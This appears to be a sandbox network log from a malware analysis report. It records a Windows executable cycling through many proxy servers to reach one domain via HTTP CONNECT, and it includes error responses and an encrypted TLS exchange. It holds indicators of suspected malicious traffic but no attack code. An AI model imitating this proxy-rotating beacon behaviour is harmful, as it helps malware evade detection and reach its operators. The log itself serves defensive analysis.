Mar 11, 2024 15:21:05.709712029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.9	53047	43.157.51.43	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.711918116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.9	50782	202.40.178.34	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.712758064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.9	53048	43.157.51.43	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.713815928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.9	53049	43.157.51.43	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.715136051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.9	50818	213.202.230.241	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.759649992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.794231892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794559002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.042860031 CET	76	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.52 (Ubuntu)
Mar 11, 2024 15:21:14.165198088 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 59 0e 3d a7 36 ec 9b 9b 2b 0f c4 68 3b fe 73 f6 9c 15 21 3f 7d b8 3b e7 f7 43 d4 ab 74 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eY=6+h;s!?};Ct*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:14.482506037 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 5a a6 17 9d 53 6b 59 86 81 4d 95 c7 7c 67 47 dc df 8a 14 10 a3 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eZSkYM\|gGDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 15:21:14.482530117 CET	162	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@v*wTJ;dm55inz74\|"@,+v?iS
Mar 11, 2024 15:21:14.482640028 CET	1286	IN	Data Raw: d2 e7 91 27 74 d7 ee 13 8a 11 b0 a8 a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 Data Ascii: 't;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R102008
Mar 11, 2024 15:21:14.482698917 CET	1286	IN	Data Raw: 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 f6 4b f7 f0 b5 4f ff ce c6 f9 f6 3f 2a 27 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce 3e 92 f1 95 5c a4 Data Ascii: ]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[ @4 awHI)adcGF9sO+Xe U
Mar 11, 2024 15:21:14.482786894 CET	670	IN	Data Raw: 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 6c 30 3b 06 03 55 1d 20 04 34 30 32 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 03 30 0d Data Ascii: .goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7
Mar 11, 2024 15:21:14.484987974 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 83 4e 23 a8 8b 62 be 4e de 4c 60 a0 c5 c7 9e 93 6b 49 5b 99 c2 9e 29 fd 6d 41 38 8f 01 06 6f 7c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 6d f6 60 ae 69 b6 0e 5b d6 a2 0a b9 46 73 b8 08 11 06 e8 2e 07 Data Ascii: %! N#bNL`kI[)mA8o\|(m`i[Fs.xG
Mar 11, 2024 15:21:14.797979116 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 a1 79 46 f8 22 14 7c ce 6a 67 19 45 bc 1d 89 78 a4 b9 d6 f5 26 25 4e a8 42 b6 64 7a bf 07 76 7d 02 82 95 cb 51 4a cb dd e5 e9 df 89 6c 0a 23 61 9c ab 1e 3d 35 10 2f 89 ef 99 d0 3c 44 a7 df d3 1a ba 6a Data Ascii: yF"\|jgEx&%NBdzv}QJl#a=5/<Dj.Q"]FXP_o,CRlj\|i+^dWf=")eE%]_,*(nZezBVH?F~Lljo(]E
Mar 11, 2024 15:21:14.800615072 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 30 cd 7e 89 6e 99 80 6d 24 bc d3 02 7a 87 1f 3d ee f1 11 e7 cc a2 64 10 47 eb 29 88 6d 08 ab ce db 03 07 5a f8 11 c8 8e 22 b6 62 cc 48 12 8f 0e 5e 38 cd 30 f8 b8 1c 84 f9 7d dc b2 96 3c 2e 70 e0 98 7e c0 1c Data Ascii: 0~nm$z=dG)mZ"bH^80}<.p~&<SYQ.7E'kg<K}W^_2RUSP3zAa>9OK:KVINPtSEQ*~Lcq3>W)Zo<'pu\L_-
Mar 11, 2024 15:21:15.120234013 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 30 93 7b a8 48 03 db 6c 14 4f 98 5a cb 2a e4 c7 07 93 55 11 f4 41 87 50 cb 75 46 9d fc 38 53 fe b5 e0 78 14 86 a7 f7 63 d2 a4 8a 43 ad 81 98 1a e3 32 00 6e bd c0 26 13 1b 36 9d 27 25 9c 4c e1 9a 86 09 8e 89 Data Ascii: q0{HlOZUAPuF8SxcC2n&6'%Ly`\5A<^h$.sggu~R-=L(>l%+E'?lfYR6{\|vr:tOlN wTU%1cbh%lW$)dtZ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.9	52837	162.159.250.145	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.761122942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.921921968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.9	52335	51.158.77.220	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.761332989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.165189028 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.9	51047	95.111.227.164	44734	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.762520075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.794265032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.794677973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.810184956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.812490940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.9	52845	185.162.228.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.763070107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.917238951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.9	52850	172.67.150.173	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.763501883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.917484999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.9	52886	104.17.215.222	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.764523983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.918711901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.9	52877	192.169.214.249	45108	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.765239000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.9	52933	104.27.83.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.766402006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.920547009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.9	52402	203.153.125.13	65424	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.769751072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.9	52944	104.21.223.181	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.771270037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.925440073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.9	50680	117.160.250.130	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.777199984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.794260025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.543291092 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.9	52960	104.17.239.10	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.778059959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
